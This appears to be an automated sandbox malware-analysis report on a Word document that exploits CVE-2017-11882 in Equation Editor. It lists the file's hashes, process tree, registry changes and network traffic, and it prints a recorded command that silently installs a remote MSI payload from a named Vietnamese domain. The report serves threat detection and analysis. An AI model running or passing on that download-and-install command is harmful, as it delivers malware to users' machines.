File name:

RFQ-02-22-2019.docx

Full analysis: https://app.any.run/tasks/9b586ff3-327c-4c17-bcfa-cc38d324203e
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Analysis date: February 18, 2019, 12:30:53
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
generated-doc
exploit
cve-2017-11882
exe-to-msi
loader
Indicators:
MIME: application/vnd.openxmlformats-officedocument.wordprocessingml.document
File info: Microsoft Word 2007+
MD5:

AEE74807DF9FA1312F400F28F6E2AF9E

SHA1:

8600580EA851024E5060D133596B67C9161AF13C

SHA256:

993ACA30290295FEE5B4DA2C7973DCA6347DEE2CB24A6E1B161CDE0B809A996B

SSDEEP:

3072:J7lL2mrdFADYhDFc8rpKSvNYbWRDzUyRBelYc3nTMSFm9d+tlKCwP:J7lCAdFkYhDFBxvqyRmTMSFmfSs

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Downloads executable files from the Internet

      • msiexec.exe (PID: 3164)
    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 2860)
    • Uses Microsoft Installer as loader

      • cmd.exe (PID: 3576)
  • SUSPICIOUS

    • Unusual connect from Microsoft Office

      • WINWORD.EXE (PID: 2944)
    • Starts CMD.EXE for commands execution

      • EQNEDT32.EXE (PID: 2860)
    • Drop ExeToMSI Application

      • msiexec.exe (PID: 3164)
    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 3164)
  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2944)
    • Creates files in the user directory

      • WINWORD.EXE (PID: 2944)
    • Application was crashed

      • EQNEDT32.EXE (PID: 2860)
    • Starts application with an unusual extension

      • msiexec.exe (PID: 3164)
    • Application was dropped or rewritten from another process

      • MSIF640.tmp (PID: 3904)
    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 3164)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.docx | Word Microsoft Office Open XML Format document (52.2)
.zip | Open Packaging Conventions container (38.8)
.zip | ZIP compressed archive (8.8)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: 0x0006
ZipCompression: Deflated
ZipModifyDate: 1980:01:01 00:00:00
ZipCRC: 0x2ea8411c
ZipCompressedSize: 351
ZipUncompressedSize: 1364
ZipFileName: [Content_Types].xml

XML

Template: template.dotx
TotalEditTime: -
Pages: 1
Words: -
Characters: 1
Application: Microsoft Office Word
DocSecurity: None
Lines: 1
Paragraphs: 1
ScaleCrop: No
HeadingPairs:
  • Title
  • 1
TitlesOfParts: -
Company: -
LinksUpToDate: No
CharactersWithSpaces: 1
SharedDoc: No
HyperlinksChanged: No
AppVersion: 15
Keywords: -
LastModifiedBy: Richard
RevisionNumber: 2
CreateDate: 2019:02:17 21:39:00Z
ModifyDate: 2019:02:17 21:39:00Z

XMP

Title: -
Subject: -
Creator: Windows User
Description: -
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
40
Monitored processes
7
Malicious processes
1
Suspicious processes
2

Behavior graph

Click at the process to see the details
start drop and start winword.exe eqnedt32.exe cmd.exe no specs msiexec.exe no specs msiexec.exe eqnedt32.exe no specs msif640.tmp no specs

Process information

PID
CMD
Path
Indicators
Parent process
2860"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
Modules
Images
c:\program files\common files\microsoft shared\equation\eqnedt32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
2944"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\RFQ-02-22-2019.docx"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
3164C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\msiexec.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
3576cmd.exe & /C CD C: & msiexec.exe /i http://amazonvietnampharma.com.vn/l/css/baba.msi /quiet C:\Windows\system32\cmd.exeEQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3760"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEsvchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
Modules
Images
c:\program files\common files\microsoft shared\equation\eqnedt32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\usp10.dll
c:\windows\system32\lpk.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
3904"C:\Windows\Installer\MSIF640.tmp"C:\Windows\Installer\MSIF640.tmpmsiexec.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\windows\installer\msif640.tmp
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
4048msiexec.exe /i http://amazonvietnampharma.com.vn/l/css/baba.msi /quiet C:\Windows\system32\msiexec.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\msiexec.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
Total events
1 423
Read events
963
Write events
449
Delete events
11

Modification events

(PID) Process:(2944) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:w:%
Value:
773A2500800B0000010000000000000000000000
(PID) Process:(2944) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2944) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(2944) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1313996830
(PID) Process:(2944) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1313996944
(PID) Process:(2944) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1313996945
(PID) Process:(2944) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:writeName:MTTT
Value:
800B00006264CDD985C7D40100000000
(PID) Process:(2944) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:-<%
Value:
2D3C2500800B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(2944) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:delete valueName:-<%
Value:
2D3C2500800B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(2944) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
Executable files
2
Suspicious files
26
Text files
15
Unknown types
5

Dropped files

PID
Process
Filename
Type
2944WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR96C8.tmp.cvr
MD5:
SHA256:
2944WINWORD.EXEC:\Users\admin\AppData\Local\Temp\{188F40E1-4EC1-4D89-98AC-F4FC177651A6}
MD5:
SHA256:
2944WINWORD.EXEC:\Users\admin\AppData\Local\Temp\{C65CABA2-92D8-4833-AE93-B5BD15B655D7}
MD5:
SHA256:
2944WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\255BAE81.jpeg
MD5:
SHA256:
2944WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-{DC3E8092-7D9E-4C17-9020-C8B9D867EEEC}.FSDbinary
MD5:
SHA256:
2944WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:
SHA256:
2944WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-CNRY.FSDbinary
MD5:
SHA256:
2944WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-{11C3B8A3-F469-4B14-9A5A-219701CADF4A}.FSDbinary
MD5:
SHA256:
3164msiexec.exeC:\Users\admin\AppData\Local\Temp\~DFFCAB7450CD405F3D.TMP
MD5:
SHA256:
2944WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F3894880.doctext
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
5
DNS requests
1
Threats
4

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2944
WINWORD.EXE
HEAD
200
115.146.122.229:80
http://amazonvietnampharma.com.vn/l/css/css.doc
VN
suspicious
2944
WINWORD.EXE
OPTIONS
405
115.146.122.229:80
http://amazonvietnampharma.com.vn/l/css/
VN
html
231 b
suspicious
976
svchost.exe
OPTIONS
405
115.146.122.229:80
http://amazonvietnampharma.com.vn/l/css
VN
html
230 b
suspicious
2944
WINWORD.EXE
GET
200
115.146.122.229:80
http://amazonvietnampharma.com.vn/l/css/css.doc
VN
text
56.4 Kb
suspicious
3164
msiexec.exe
GET
200
115.146.122.229:80
http://amazonvietnampharma.com.vn/l/css/baba.msi
VN
executable
656 Kb
suspicious
2944
WINWORD.EXE
HEAD
200
115.146.122.229:80
http://amazonvietnampharma.com.vn/l/css/css.doc
VN
compressed
56.4 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2944
WINWORD.EXE
115.146.122.229:80
amazonvietnampharma.com.vn
CMC Telecommunications Services Company
VN
suspicious
976
svchost.exe
115.146.122.229:80
amazonvietnampharma.com.vn
CMC Telecommunications Services Company
VN
suspicious
3164
msiexec.exe
115.146.122.229:80
amazonvietnampharma.com.vn
CMC Telecommunications Services Company
VN
suspicious

DNS requests

Domain
IP
Reputation
amazonvietnampharma.com.vn
  • 115.146.122.229
suspicious

Threats

PID
Process
Class
Message
3164
msiexec.exe
Potential Corporate Privacy Violation
SUSPICIOUS [PTsecurity] Executable application_x-msi Download
3164
msiexec.exe
Potential Corporate Privacy Violation
POLICY [PTsecurity] Executable application_x-msi Download
3164
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Executable ExeToMSI Download
1 ETPRO signatures available at the full report
No debug info